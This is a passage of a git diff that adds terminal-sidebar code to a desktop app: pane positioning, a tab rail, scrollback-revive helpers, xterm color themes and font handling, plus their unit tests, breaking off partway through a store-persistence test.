+
+      return false
+    }
+
+    const scheduleMeasure = (reason = 'unknown') => {
+      if (stopped || rendererPaused() || frame !== 0) {
+        return
+      }
+
+      pendingReason = reason
+      frame = window.requestAnimationFrame(() => {
+        frame = 0
+        const reason = pendingReason
+
+        if (measure(reason)) {
+          scheduleMeasure('settle')
+        }
+      })
+    }
+
+    const handleVisibilityChange = () => {
+      if (rendererPaused()) {
+        cancelFrame()
+
+        return
+      }
+
+      scheduleMeasure('visibility')
+    }
+
+    const observer =
+      typeof ResizeObserver === 'undefined'
+        ? null
+        : new ResizeObserver(() => {
+            scheduleMeasure('resize-observer')
+          })
+
+    const positionObserver =
+      typeof MutationObserver === 'undefined'
+        ? null
+        : new MutationObserver(() => {
+            scheduleMeasure('ancestor-mutation')
+          })
+
+    pauseController = createRendererLoopPauseController(handleVisibilityChange)
+
+    if (measure('initial')) {
+      scheduleMeasure('settle')
+    }
+
+    observer?.observe(slot)
+
+    const handleScroll = () => scheduleMeasure('scroll')
+    const scrollTargets: Array<HTMLElement | Window> = [window]
+    window.addEventListener('scroll', handleScroll)
+
+    for (let node: HTMLElement | null = slot; node; node = node.parentElement) {
+      positionObserver?.observe(node, {
+        attributeFilter: ['class', 'style', 'hidden', 'aria-hidden', 'data-state', PANE_HIDDEN_ATTR],
+        attributes: true,
+        childList: true,
+        subtree: false
+      })
+      // Scroll does not bubble. Listen only on the slot's own ancestor chain,
+      // so a transcript/file-tree/xterm viewport scroll elsewhere cannot wake
+      // terminal positioning.
+      node.addEventListener('scroll', handleScroll)
+      scrollTargets.push(node)
+    }
+
+    // Nested layout-tree and pane-state commits can move the slot without
+    // changing its own size. Subscribe to the actual layout authorities instead
+    // of observing every descendant mutation under every ancestor (chat stream
+    // and file-tree updates are unrelated and used to wake this tracker).
+    const unsubscribeLayout = $layoutTree.listen(() => scheduleMeasure('layout-tree'))
+    const unsubscribePanes = $paneStates.listen(() => scheduleMeasure('pane-state'))
+
+    const handleResize = () => scheduleMeasure('window-resize')
+
+    window.addEventListener('resize', handleResize)
+
+    return () => {
+      stopped = true
+      cancelFrame()
+      observer?.disconnect()
+      positionObserver?.disconnect()
+      unsubscribeLayout()
+      unsubscribePanes()
+      window.removeEventListener('resize', handleResize)
+      scrollTargets.forEach(target => target.removeEventListener('scroll', handleScroll))
+      pauseController?.dispose()
+    }
+  }, [slot])
+
+  const visible = Boolean(rect && !rect.hidden && rect.width > 0 && rect.height > 0)
+
+  const style: CSSProperties = {
+    position: 'fixed',
+    top: rect?.top ?? 0,
+    left: rect?.left ?? 0,
+    width: rect?.width ?? 0,
+    height: rect?.height ?? 0,
+    display: 'flex',
+    flexDirection: 'column',
+    visibility: visible ? 'visible' : 'hidden',
+    // Electron may keep xterm's WebGL canvas visually composited after an
+    // ancestor becomes visibility:hidden. Opacity clears that compositor layer
+    // while preserving the mounted DOM, terminal dimensions, and live PTY.
+    opacity: visible ? 1 : 0,
+    pointerEvents: visible ? 'auto' : 'none',
+    zIndex: 4,
+    // Match the live skin surface so the header strip (transparent) and body
+    // read as one cohesive pane instead of revealing a near-black slab behind.
+    backgroundColor: 'var(--ui-terminal-surface-background)',
+    contain: 'layout size paint'
+  }
+
+  // Defer the FIRST mount until the pane is open and the slot has real dims —
+  // booting xterm/node-pty at 0×0 starts the shell at 80×24 and spawns a visible
+  // conhost on Windows. After that `mounted` latches: shells persist while hidden.
+  return (
+    <div aria-hidden={!visible} data-persistent-terminal="" style={style}>
+      {mounted && <TerminalWorkspace onAddSelectionToChat={onAddSelectionToChat} />}
+    </div>
+  )
+}
diff --git a/ui-desktop/src/app/right-sidebar/terminal/rail.test.tsx b/ui-desktop/src/app/right-sidebar/terminal/rail.test.tsx
new file mode 100644
index 000000000..8db59ca9f
--- /dev/null
+++ b/ui-desktop/src/app/right-sidebar/terminal/rail.test.tsx
@@ -0,0 +1,49 @@
+import { cleanup, fireEvent, render, screen } from '@testing-library/react'
+import { afterEach, beforeEach, describe, expect, it } from 'vitest'
+
+import { $bindings } from '@/store/keybinds'
+
+import { TerminalRail } from './rail'
+import { $activeTerminalId, $terminals } from './terminals'
+
+describe('TerminalRail', () => {
+  beforeEach(() => {
+    $terminals.set([{ auto: true, cwd: 'C:\\repo', id: 'term-1', kind: 'user', title: 'PowerShell' }])
+    $activeTerminalId.set('term-1')
+    $bindings.set({ ...$bindings.get(), 'view.showTerminal': ['ctrl+`'] })
+  })
+
+  afterEach(() => {
+    cleanup()
+    $terminals.set([])
+    $activeTerminalId.set(null)
+  })
+
+  it('keeps a hotkey label inline inside the portaled tooltip decoration', async () => {
+    const view = render(<TerminalRail />)
+
+    fireEvent.pointerMove(screen.getByRole('tab', { name: '1. PowerShell' }), { pointerType: 'mouse' })
+    await screen.findByRole('tooltip')
+
+    const content = document.querySelector<HTMLElement>('[data-slot="tooltip-content"]')
+    const label = content?.firstElementChild?.firstElementChild
+
+    expect(content).not.toBeNull()
+    expect(view.container.contains(content)).toBe(false)
+    expect(label?.classList.contains('inline-flex')).toBe(true)
+    expect(label?.classList.contains('flex')).toBe(false)
+  })
+
+  it('⌘-click closes the tab; a plain click selects it', () => {
+    $terminals.set([...$terminals.get(), { auto: true, cwd: 'C:\\repo', id: 'term-2', kind: 'user', title: 'zsh' }])
+
+    render(<TerminalRail />)
+
+    fireEvent.click(screen.getByRole('tab', { name: '2. zsh' }), { metaKey: true })
+    expect($terminals.get().map(term => term.id)).toEqual(['term-1'])
+
+    fireEvent.click(screen.getByRole('tab', { name: '1. PowerShell' }))
+    expect($activeTerminalId.get()).toBe('term-1')
+    expect($terminals.get()).toHaveLength(1)
+  })
+})
diff --git a/ui-desktop/src/app/right-sidebar/terminal/rail.tsx b/ui-desktop/src/app/right-sidebar/terminal/rail.tsx
new file mode 100644
index 000000000..d5e654b31
--- /dev/null
+++ b/ui-desktop/src/app/right-sidebar/terminal/rail.tsx
@@ -0,0 +1,160 @@
+import { useStore } from '@nanostores/react'
+
+import { Codicon } from '@/components/ui/codicon'
+import {
+  ContextMenu,
+  ContextMenuContent,
+  ContextMenuItem,
+  ContextMenuSeparator,
+  ContextMenuTrigger
+} from '@/components/ui/context-menu'
+import { Tip, TipHintLabel } from '@/components/ui/tooltip'
+import { useI18n } from '@/i18n'
+import { formatCombo } from '@/lib/keybinds/combo'
+import { isMetaClose, middleClickHandlers } from '@/lib/middle-click'
+import { cn } from '@/lib/utils'
+import { $bindings } from '@/store/keybinds'
+
+import { setTerminalTakeover } from '../store'
+
+import {
+  $activeTerminalId,
+  $terminals,
+  closeAllTerminals,
+  closeOtherTerminals,
+  closeTerminal,
+  createTerminal,
+  selectTerminal,
+  type TerminalEntry
+} from './terminals'
+
+const RAIL_ACTION =
+  'grid size-6 place-items-center rounded text-(--ui-text-tertiary) transition-colors hover:bg-(--chrome-action-hover) hover:text-foreground focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-sidebar-ring [-webkit-app-region:no-drag]'
+
+/** Thin icon "bookmark" strip blended into the terminal surface, shown whenever a
+ *  terminal exists. Each square is a tab (name + hotkey on hover); close via the
+ *  shell's `exit`, middle-click, or the context menu. */
+export function TerminalRail() {
+  const { t } = useI18n()
+  const terminals = useStore($terminals)
+  const activeId = useStore($activeTerminalId)
+  const bindings = useStore($bindings)
+  const toggleHint = bindings['view.showTerminal']?.[0]
+  const newHint = bindings['view.newTerminal']?.[0]
+
+  return (
+    <div
+      className="group/rail relative z-40 flex h-full w-9 shrink-0 flex-col items-center border-l border-(--ui-stroke-quaternary) bg-(--ui-terminal-surface-background)"
+      // The rail sits at the pane's outer edge, under the collapsed sidebars'
+      // hover-reveal triggers; mark it so those triggers go pointer-transparent
+      // while it's hovered (see the suppression rules in styles.css) and a reach
+      // for a tab can't drag in the file-browser/review panel.
+      data-suppress-pane-reveal=""
+    >
+      <ul
+        aria-label={t.rightSidebar.terminalsAria}
+        className="flex min-h-0 flex-1 flex-col items-center gap-0.5 self-stretch overflow-y-auto overflow-x-hidden overscroll-contain py-1 [-ms-overflow-style:none] [scrollbar-width:none] [&::-webkit-scrollbar]:hidden"
+        role="tablist"
+      >
+        {terminals.map((term, index) => (
+          <TerminalRailItem
+            active={term.id === activeId}
+            canCloseOthers={terminals.length > 1}
+            index={index}
+            key={term.id}
+            term={term}
+            toggleHint={toggleHint}
+          />
+        ))}
+        <li className="flex w-full justify-center">
+          <Tip
+            label={<TipHintLabel hint={newHint && formatCombo(newHint)} text={t.rightSidebar.terminalNew} />}
+            side="left"
+          >
+            <button
+              aria-label={t.rightSidebar.terminalNew}
+              className={cn(RAIL_ACTION, 'size-7 text-(--ui-text-quaternary)')}
+              onClick={() => createTerminal()}
+              type="button"
+            >
+              <Codicon name="add" size="0.8125rem" />
+            </button>
+          </Tip>
+        </li>
+      </ul>
+
+      <div className="flex shrink-0 flex-col items-center pb-1.5">
+        <Tip label={t.rightSidebar.terminalHide} side="left">
+          <button
+            aria-label={t.rightSidebar.terminalHide}
+            className={cn(RAIL_ACTION, 'opacity-0 transition-opacity group-hover/rail:opacity-100')}
+            onClick={() => setTerminalTakeover(false)}
+            type="button"
+          >
+            <Codicon name="chevron-down" size="0.8125rem" />
+          </button>
+        </Tip>
+      </div>
+    </div>
+  )
+}
+
+interface TerminalRailItemProps {
+  active: boolean
+  canCloseOthers: boolean
+  index: number
+  term: TerminalEntry
+  toggleHint?: string
+}
+
+function TerminalRailItem({ active, canCloseOthers, index, term, toggleHint }: TerminalRailItemProps) {
+  const { t } = useI18n()
+  const label = `${index + 1}. ${term.title}`
+
+  return (
+    <ContextMenu>
+      <ContextMenuTrigger asChild>
+        <li className="relative flex w-full justify-center [-webkit-app-region:no-drag]">
+          {active && (
+            <span
+              aria-hidden="true"
+              className="absolute inset-y-0.5 right-0 w-0.5 rounded-l-sm bg-(--ui-stroke-primary)"
+            />
+          )}
+          <Tip label={<TipHintLabel hint={toggleHint && formatCombo(toggleHint)} text={label} />} side="left">
+            <button
+              aria-label={label}
+              aria-selected={active}
+              className={cn(
+                'grid size-7 place-items-center rounded-md transition-colors',
+                active
+                  ? 'bg-(--chrome-action-hover) text-foreground'
+                  : 'text-(--ui-text-tertiary) hover:bg-(--chrome-action-hover) hover:text-foreground'
+              )}
+              {...middleClickHandlers(() => closeTerminal(term.id))}
+              // ⌘-click closes (the pane-tab gesture); a plain click selects.
+              onClick={event => (isMetaClose(event) ? closeTerminal(term.id) : selectTerminal(term.id))}
+              role="tab"
+              type="button"
+            >
+              <Codicon
+                className={cn(term.kind === 'agent' && !active && 'text-primary')}
+                name={term.kind === 'agent' ? 'agent' : 'terminal'}
+                size="0.875rem"
+              />
+            </button>
+          </Tip>
+        </li>
+      </ContextMenuTrigger>
+      <ContextMenuContent>
+        <ContextMenuItem onSelect={() => closeTerminal(term.id)}>{t.common.close}</ContextMenuItem>
+        <ContextMenuItem disabled={!canCloseOthers} onSelect={() => closeOtherTerminals(term.id)}>
+          {t.rightSidebar.terminalCloseOthers}
+        </ContextMenuItem>
+        <ContextMenuItem onSelect={closeAllTerminals}>{t.rightSidebar.terminalCloseAll}</ContextMenuItem>
+        <ContextMenuSeparator />
+        <ContextMenuItem onSelect={() => setTerminalTakeover(false)}>{t.rightSidebar.terminalHide}</ContextMenuItem>
+      </ContextMenuContent>
+    </ContextMenu>
+  )
+}
diff --git a/ui-desktop/src/app/right-sidebar/terminal/revive-buffer.test.ts b/ui-desktop/src/app/right-sidebar/terminal/revive-buffer.test.ts
new file mode 100644
index 000000000..9e0217936
--- /dev/null
+++ b/ui-desktop/src/app/right-sidebar/terminal/revive-buffer.test.ts
@@ -0,0 +1,97 @@
+import { describe, expect, it } from 'vitest'
+
+import { cleanReviveSnapshot, isIdlePromptOnly, parseOscCwd } from './use-terminal-session'
+
+// A default-PowerShell idle prompt: no blank-line separator before it.
+const PS_PROMPT = 'PS C:\\Users\\Aleksandr>'
+
+describe('isIdlePromptOnly', () => {
+  it('is true for an empty or whitespace-only buffer', () => {
+    expect(isIdlePromptOnly('')).toBe(true)
+    expect(isIdlePromptOnly('\r\n  \r\n')).toBe(true)
+  })
+
+  it('is true for a lone prompt line', () => {
+    expect(isIdlePromptOnly(PS_PROMPT)).toBe(true)
+  })
+
+  it('is true for a buffer that is only repeated identical prompts (accumulation)', () => {
+    expect(isIdlePromptOnly([PS_PROMPT, PS_PROMPT, PS_PROMPT].join('\r\n'))).toBe(true)
+  })
+
+  it('ignores blank gaps between repeated prompts (the "gapped" variant)', () => {
+    expect(isIdlePromptOnly([PS_PROMPT, '', '', PS_PROMPT].join('\r\n'))).toBe(true)
+  })
+
+  it('is false when the buffer holds a real command and output', () => {
+    expect(isIdlePromptOnly([PS_PROMPT, 'cd project', 'PS C:\\Users\\Aleksandr\\project>'].join('\r\n'))).toBe(false)
+  })
+
+  it('is false when two different prompts are present (cwd actually changed)', () => {
+    expect(isIdlePromptOnly([PS_PROMPT, 'PS C:\\Users\\Aleksandr\\project>'].join('\r\n'))).toBe(false)
+  })
+})
+
+describe('cleanReviveSnapshot', () => {
+  it('drops a spaced trailing prompt block after a blank separator (starship)', () => {
+    const snapshot = ['echo hi', 'hi', '', PS_PROMPT].join('\r\n')
+
+    expect(cleanReviveSnapshot(snapshot)).toBe('echo hi\r\nhi')
+  })
+
+  it('drops a multi-line prompt block after a blank separator (powerline)', () => {
+    const snapshot = ['work', '', '┌─ user@host ~/project', '└─$'].join('\r\n')
+
+    expect(cleanReviveSnapshot(snapshot)).toBe('work')
+  })
+
+  it('drops a single-line trailing prompt with no preceding blank line (PowerShell)', () => {
+    // Default PowerShell prints no blank line before its prompt; the fresh shell
+    // reprints it on boot, so the redundant idle prompt must be trimmed here.
+    const snapshot = ['echo hi', 'hi', PS_PROMPT].join('\r\n')
+
+    expect(cleanReviveSnapshot(snapshot)).toBe('echo hi\r\nhi')
+  })
+
+  it('keeps command output and drops only the trailing prompt on a long history', () => {
+    const history = ['cmd1', 'out1', 'cmd2', 'out2']
+    const snapshot = [...history, PS_PROMPT].join('\r\n')
+
+    expect(cleanReviveSnapshot(snapshot)).toBe(history.join('\r\n'))
+  })
+
+  it('reduces a lone prompt to an empty buffer', () => {
+    expect(cleanReviveSnapshot(PS_PROMPT)).toBe('')
+    expect(cleanReviveSnapshot([PS_PROMPT, '', ''].join('\r\n'))).toBe('')
+  })
+
+  it('returns empty for a blank-only buffer without throwing', () => {
+    expect(cleanReviveSnapshot('')).toBe('')
+    expect(cleanReviveSnapshot('\r\n  \r\n')).toBe('')
+  })
+})
+
+describe('parseOscCwd', () => {
+  it('parses an OSC 7 file URI and percent-decodes it', () => {
+    expect(parseOscCwd(7, 'file://host/Users/al/my%20project')).toBe('/Users/al/my project')
+  })
+
+  it('strips the leading slash from a Windows OSC 7 file URI', () => {
+    expect(parseOscCwd(7, 'file:///C:/Users/Aleksandr/project')).toBe('C:/Users/Aleksandr/project')
+  })
+
+  it('ignores non-file OSC 7 payloads', () => {
+    expect(parseOscCwd(7, 'https://example.com')).toBeNull()
+    expect(parseOscCwd(7, '')).toBeNull()
+  })
+
+  it('parses an OSC 9;9 cwd payload and unquotes it', () => {
+    expect(parseOscCwd(9, '9;"C:\\Users\\Aleksandr"')).toBe('C:\\Users\\Aleksandr')
+    expect(parseOscCwd(9, '9;/home/al/src')).toBe('/home/al/src')
+  })
+
+  it('ignores OSC 9 sub-commands other than 9;<path> (e.g. progress)', () => {
+    expect(parseOscCwd(9, '4;3')).toBeNull()
+    expect(parseOscCwd(9, 'some notification')).toBeNull()
+  })
+})
diff --git a/ui-desktop/src/app/right-sidebar/terminal/selection.ts b/ui-desktop/src/app/right-sidebar/terminal/selection.ts
new file mode 100644
index 000000000..2aa2f891d
--- /dev/null
+++ b/ui-desktop/src/app/right-sidebar/terminal/selection.ts
@@ -0,0 +1,136 @@
+import type { ITheme, Terminal } from '@xterm/xterm'
+import type { CSSProperties } from 'react'
+
+import type { DesktopTerminalPalette } from '@/themes/types'
+
+// VS Code's default integrated-terminal palette (terminalColorRegistry.ts) — a
+// fixed table per theme type, not luminance-derived. Light/dark diverge on
+// purpose so each stays legible (e.g. mustard yellow on white).
+const DARK_THEME: ITheme = {
+  background: '#1e1e1e',
+  foreground: '#cccccc',
+  cursor: '#cccccc',
+  cursorAccent: '#1e1e1e',
+  selectionBackground: '#264f7866',
+  black: '#000000',
+  red: '#cd3131',
+  green: '#0dbc79',
+  yellow: '#e5e510',
+  blue: '#2472c8',
+  magenta: '#bc3fbc',
+  cyan: '#11a8cd',
+  white: '#e5e5e5',
+  brightBlack: '#666666',
+  brightRed: '#f14c4c',
+  brightGreen: '#23d18b',
+  brightYellow: '#f5f543',
+  brightBlue: '#3b8eea',
+  brightMagenta: '#d670d6',
+  brightCyan: '#29b8db',
+  brightWhite: '#e5e5e5'
+}
+
+const LIGHT_THEME: ITheme = {
+  background: '#ffffff',
+  foreground: '#333333',
+  cursor: '#333333',
+  cursorAccent: '#ffffff',
+  selectionBackground: '#add6ff80',
+  black: '#000000',
+  red: '#cd3131',
+  green: '#00bc00',
+  yellow: '#949800',
+  blue: '#0451a5',
+  magenta: '#bc05bc',
+  cyan: '#0598bc',
+  white: '#555555',
+  brightBlack: '#666666',
+  brightRed: '#cd3131',
+  brightGreen: '#14ce14',
+  brightYellow: '#b5ba00',
+  brightBlue: '#0451a5',
+  brightMagenta: '#bc05bc',
+  brightCyan: '#0598bc',
+  brightWhite: '#a5a5a5'
+}
+
+// Palette by painted mode, optionally overlaid with an imported theme's ANSI
+// palette (Solarized terminal for the Solarized skin, etc.). `palette` only
+// fills the slots it defines, so a partial import keeps the mode defaults for
+// the rest. `background` is a fallback only — withSurface swaps in the live skin
+// surface at runtime (keeping transparency); minimumContrastRatio keeps colors
+// crisp against it.
+export function terminalTheme(mode: 'light' | 'dark', palette?: DesktopTerminalPalette): ITheme {
+  const base = mode === 'dark' ? DARK_THEME : LIGHT_THEME
+
+  if (!palette) {
+    return base
+  }
+
+  const overlay = { ...base } as Record<string, string>
+
+  for (const [slot, value] of Object.entries(palette)) {
+    if (value) {
+      overlay[slot] = value
+    }
+  }
+
+  return overlay as ITheme
+}
+
+// Resolve --ui-terminal-surface-background (a color-mix on the skin seed) to a
+// concrete color for the WebGL renderer + contrast clamp. Custom props don't
+// resolve via getComputedStyle, so probe a real background-color. Read AFTER
+// applyTheme repaints (mount / rAF post-change) or it lags a frame behind.
+export function resolveSurfaceColor(fallback: string): string {
+  if (typeof document === 'undefined' || !document.body) {
+    return fallback
+  }
+
+  const probe = document.createElement('span')
+  probe.style.cssText =
+    'position:absolute;visibility:hidden;pointer-events:none;background-color:var(--ui-terminal-surface-background)'
+  document.body.appendChild(probe)
+  const resolved = getComputedStyle(probe).backgroundColor
+  probe.remove()
+
+  return resolved && resolved !== 'rgba(0, 0, 0, 0)' ? resolved : fallback
+}
+
+export const isMacPlatform = () => navigator.platform.toLowerCase().includes('mac')
+
+export function isAddSelectionShortcut(event: KeyboardEvent) {
+  const mod = isMacPlatform() ? event.metaKey : event.ctrlKey
+
+  return mod && !event.shiftKey && event.key.toLowerCase() === 'l'
+}
+
+export function terminalSelectionLabel(term: Terminal, shellName: string, text: string) {
+  const pos = term.getSelectionPosition()
+
+  if (pos) {
+    return pos.start.y === pos.end.y ? `${shellName}:${pos.start.y}` : `${shellName}:${pos.start.y}-${pos.end.y}`
+  }
+
+  const lines = Math.max(1, text.trim().split(/\r?\n/).length)
+
+  return `${shellName}:${lines} line${lines === 1 ? '' : 's'}`
+}
+
+export function terminalSelectionAnchor(host: HTMLDivElement): CSSProperties | null {
+  const rect = Array.from(host.querySelectorAll<HTMLElement>('.xterm-selection div'))
+    .map(node => node.getBoundingClientRect())
+    .filter(r => r.width > 0 && r.height > 0)
+    .at(-1)
+
+  if (!rect) {
+    return null
+  }
+
+  const hostRect = host.getBoundingClientRect()
+  const buttonWidth = 128
+  const left = Math.min(Math.max(rect.left - hostRect.left, 8), Math.max(8, host.clientWidth - buttonWidth - 8))
+  const top = Math.min(Math.max(rect.bottom - hostRect.top + 4, 8), Math.max(8, host.clientHeight - 34))
+
+  return { left, top }
+}
diff --git a/ui-desktop/src/app/right-sidebar/terminal/terminal-font.test.ts b/ui-desktop/src/app/right-sidebar/terminal/terminal-font.test.ts
new file mode 100644
index 000000000..7b3ffeacc
--- /dev/null
+++ b/ui-desktop/src/app/right-sidebar/terminal/terminal-font.test.ts
@@ -0,0 +1,124 @@
+import { describe, expect, it, vi } from 'vitest'
+
+import {
+  applyTerminalFontFamily,
+  DEFAULT_TERMINAL_FONT_FAMILY,
+  prepareTerminalFontFamily,
+  resolveTerminalFontFamily,
+  warmTerminalFontFamily
+} from './terminal-font'
+
+describe('terminal font resolution', () => {
+  it('keeps the bundled stack when no preference is configured', () => {
+    expect(resolveTerminalFontFamily('')).toBe(DEFAULT_TERMINAL_FONT_FAMILY)
+    expect(resolveTerminalFontFamily(undefined)).toBe(DEFAULT_TERMINAL_FONT_FAMILY)
+  })
+
+  it('quotes a friendly family name and appends the bundled fallback stack', () => {
+    expect(resolveTerminalFontFamily('  MesloLGS NF  ')).toBe(`'MesloLGS NF', ${DEFAULT_TERMINAL_FONT_FAMILY}`)
+  })
+
+  it('preserves an authored CSS stack before the bundled fallbacks', () => {
+    expect(resolveTerminalFontFamily("'Hack Nerd Font', monospace")).toBe(
+      `'Hack Nerd Font', monospace, ${DEFAULT_TERMINAL_FONT_FAMILY}`
+    )
+  })
+})
+
+describe('terminal font lifecycle', () => {
+  it('warms regular, bold, and italic faces using the effective stack', async () => {
+    const load = vi.fn().mockResolvedValue([])
+
+    await warmTerminalFontFamily("'MesloLGS NF', monospace", { load } as Pick<FontFaceSet, 'load'>)
+
+    expect(load.mock.calls.map(([descriptor]) => descriptor)).toEqual([
+      "400 11px 'MesloLGS NF', monospace",
+      "700 11px 'MesloLGS NF', monospace",
+      "italic 400 11px 'MesloLGS NF', monospace"
+    ])
+  })
+
+  it('restarts initial warming when config arrives late', async () => {
+    let latest = 'fallback'
+
+    const warm = vi.fn(async (fontFamily: string) => {
+      if (fontFamily === 'fallback') {
+        latest = 'MesloLGS NF'
+      }
+    })
+
+    await expect(
+      prepareTerminalFontFamily(
+        () => latest,
+        () => true,
+        warm
+      )
+    ).resolves.toBe('MesloLGS NF')
+    expect(warm.mock.calls.map(([font]) => font)).toEqual(['fallback', 'MesloLGS NF'])
+  })
+
+  it('cancels a stale initial font request before xterm mounts', async () => {
+    let current = true
+
+    const warm = vi.fn(async () => {
+      current = false
+    })
+
+    await expect(
+      prepareTerminalFontFamily(
+        () => 'MesloLGS NF',
+        () => current,
+        warm
+      )
+    ).resolves.toBeNull()
+  })
+
+  it('updates a mounted terminal without replacing it', async () => {
+    const term = {
+      options: { fontFamily: 'fallback' },
+      rows: 24,
+      refresh: vi.fn()
+    }
+
+    const fit = vi.fn()
+    const clearTextureAtlas = vi.fn()
+
+    await expect(
+      applyTerminalFontFamily({
+        clearTextureAtlas,
+        fit,
+        fontFamily: 'MesloLGS NF',
+        isCurrent: () => true,
+        term,
+        warm: vi.fn().mockResolvedValue(undefined)
+      })
+    ).resolves.toBe(true)
+
+    expect(term.options.fontFamily).toBe('MesloLGS NF')
+    expect(fit).toHaveBeenCalledOnce()
+    expect(clearTextureAtlas).toHaveBeenCalledOnce()
+    expect(term.refresh).toHaveBeenCalledWith(0, 23)
+  })
+
+  it('does not paint a stale live font request', async () => {
+    const term = {
+      options: { fontFamily: 'newer' },
+      rows: 24,
+      refresh: vi.fn()
+    }
+
+    await expect(
+      applyTerminalFontFamily({
+        clearTextureAtlas: vi.fn(),
+        fit: vi.fn(),
+        fontFamily: 'stale',
+        isCurrent: () => false,
+        term,
+        warm: vi.fn().mockResolvedValue(undefined)
+      })
+    ).resolves.toBe(false)
+
+    expect(term.options.fontFamily).toBe('newer')
+    expect(term.refresh).not.toHaveBeenCalled()
+  })
+})
diff --git a/ui-desktop/src/app/right-sidebar/terminal/terminal-font.ts b/ui-desktop/src/app/right-sidebar/terminal/terminal-font.ts
new file mode 100644
index 000000000..d5a712990
--- /dev/null
+++ b/ui-desktop/src/app/right-sidebar/terminal/terminal-font.ts
@@ -0,0 +1,138 @@
+import { atom } from 'nanostores'
+
+export const DEFAULT_TERMINAL_FONT_FAMILY = "'JetBrains Mono', 'Cascadia Code', 'SF Mono', Menlo, Consolas, monospace"
+
+export const TERMINAL_FONT_SUGGESTIONS = [
+  'MesloLGS NF',
+  'JetBrainsMono Nerd Font',
+  'CaskaydiaCove Nerd Font',
+  'FiraCode Nerd Font',
+  'Hack Nerd Font',
+  'SauceCodePro Nerd Font',
+  'JetBrains Mono',
+  'SF Mono',
+  'Menlo',
+  'Cascadia Code'
+] as const
+
+/** The profile-backed value as written in config.yaml. Empty means bundled default. */
+export const $terminalFontFamily = atom('')
+
+export function normalizeTerminalFontFamily(value: unknown): string {
+  return typeof value === 'string' ? value.trim() : ''
+}
+
+function quoteSingleFamily(value: string): string {
+  return `'${value.replace(/\\/g, '\\\\').replace(/'/g, "\\'")}'`
+}
+
+/** Accept a friendly single family name or an authored CSS font stack. */
+export function resolveTerminalFontFamily(value: unknown): string {
+  const configured = normalizeTerminalFontFamily(value)
+
+  if (!configured) {
+    return DEFAULT_TERMINAL_FONT_FAMILY
+  }
+
+  const preferred = configured.includes(',') || /['"]/.test(configured) ? configured : quoteSingleFamily(configured)
+
+  return `${preferred}, ${DEFAULT_TERMINAL_FONT_FAMILY}`
+}
+
+export function setTerminalFontFamilyFromConfig(value: unknown): void {
+  $terminalFontFamily.set(normalizeTerminalFontFamily(value))
+}
+
+type FontFaceLoader = Pick<FontFaceSet, 'load'>
+
+function browserFontSet(): FontFaceLoader | undefined {
+  return typeof document === 'undefined' ? undefined : document.fonts
+}
+
+/** Warm every face xterm uses before WebGL builds its glyph texture atlas. */
+export async function warmTerminalFontFamily(
+  fontFamily: string,
+  fontSet: FontFaceLoader | undefined = browserFontSet()
+): Promise<void> {
+  if (!fontSet?.load) {
+    return
+  }
+
+  await Promise.allSettled(
+    ['400', '700', 'italic 400'].map(descriptor =>
+      Promise.resolve().then(() => fontSet.load(`${descriptor} 11px ${fontFamily}`))
+    )
+  )
+}
+
+/**
+ * Wait for the newest requested family before mounting xterm. Config can arrive
+ * after the terminal component renders; this loop prevents opening WebGL with
+ * stale fallback metrics and then immediately rebuilding it.
+ */
+export async function prepareTerminalFontFamily(
+  getLatest: () => string,
+  isCurrent: () => boolean,
+  warm: (fontFamily: string) => Promise<void> = warmTerminalFontFamily
+): Promise<string | null> {
+  let candidate = getLatest()
+
+  while (isCurrent()) {
+    await warm(candidate)
+
+    if (!isCurrent()) {
+      return null
+    }
+
+    const latest = getLatest()
+
+    if (latest === candidate) {
+      return candidate
+    }
+
+    candidate = latest
+  }
+
+  return null
+}
+
+export interface TerminalFontTarget {
+  options: { fontFamily?: string }
+  rows: number
+  refresh: (start: number, end: number) => void
+}
+
+interface ApplyTerminalFontOptions {
+  clearTextureAtlas: () => void
+  fit: () => void
+  fontFamily: string
+  isCurrent: () => boolean
+  term: TerminalFontTarget
+  warm?: (fontFamily: string) => Promise<void>
+}
+
+/** Apply a live font change without recreating the xterm instance or its PTY. */
+export async function applyTerminalFontFamily({
+  clearTextureAtlas,
+  fit,
+  fontFamily,
+  isCurrent,
+  term,
+  warm = warmTerminalFontFamily
+}: ApplyTerminalFontOptions): Promise<boolean> {
+  await warm(fontFamily)
+
+  if (!isCurrent()) {
+    return false
+  }
+
+  term.options.fontFamily = fontFamily
+  fit()
+  clearTextureAtlas()
+
+  if (term.rows > 0) {
+    term.refresh(0, term.rows - 1)
+  }
+
+  return true
+}
diff --git a/ui-desktop/src/app/right-sidebar/terminal/terminals.test.ts b/ui-desktop/src/app/right-sidebar/terminal/terminals.test.ts
new file mode 100644
index 000000000..1fc0e293e
--- /dev/null
+++ b/ui-desktop/src/app/right-sidebar/terminal/terminals.test.ts
@@ -0,0 +1,190 @@
+import { atom } from 'nanostores'
+import { beforeEach, describe, expect, it, vi } from 'vitest'
+
+const STORAGE_KEY = 'clawcodex.desktop.terminals.v1'
+
+async function loadTerminalStore() {
+  const $currentCwd = atom('/workspace')
+
+  vi.doMock('@/store/session', () => ({
+    $currentCwd
+  }))
+
+  return { ...(await import('./terminals')), $currentCwd }
+}
+
+describe('terminal store persistence', () => {
+  beforeEach(() => {
+    window.localStorage.clear()
+    vi.resetModules()
+  })
+
+  it('restores user tabs, active tab, and history on module load', async () => {
+    window.localStorage.setItem(
+      STORAGE_KEY,
+      JSON.stringify({
+        activeTerminalId: 'term-two',
+        terminals: [
+          { auto: false, cwd: '/repo/one', id: 'term-one', reviveBuffer: 'last output', title: 'zsh' },
+          { auto: true, cwd: '/repo/two', id: 'term-two', title: 'Terminal' }
+        ]
+      })
+    )
+
+    const { $activeTerminalId, $terminals } = await loadTerminalStore()
+
+    expect($activeTerminalId.get()).toBe('term-two')
+    expect($terminals.get()).toEqual([
+      { auto: false, cwd: '/repo/one', id: 'term-one', kind: 'user', reviveBuffer: 'last output', title: 'zsh' },
+      { auto: true, cwd: '/repo/two', id: 'term-two', kind: 'user', title: 'Terminal' }
+    ])
+  })
+
+  it('persists user tabs and history synchronously, skipping agent mirrors', async () => {
+    const { createTerminal, ensureAgentTerminal, renameTerminal, selectTerminal, updateTerminalReviveBuffer } =
+      await loadTerminalStore()
+
+    const userId = createTerminal('/repo')
+    renameTerminal(userId, 'server')
+    updateTerminalReviveBuffer(userId, 'recent scrollback')
+    ensureAgentTerminal('proc-1', 'background task')
+    selectTerminal(userId)
+
+    // No flush/tick: persistence is synchronous, so the snapshot is already on
+    // disk (this is what makes app-quit restore reliable).
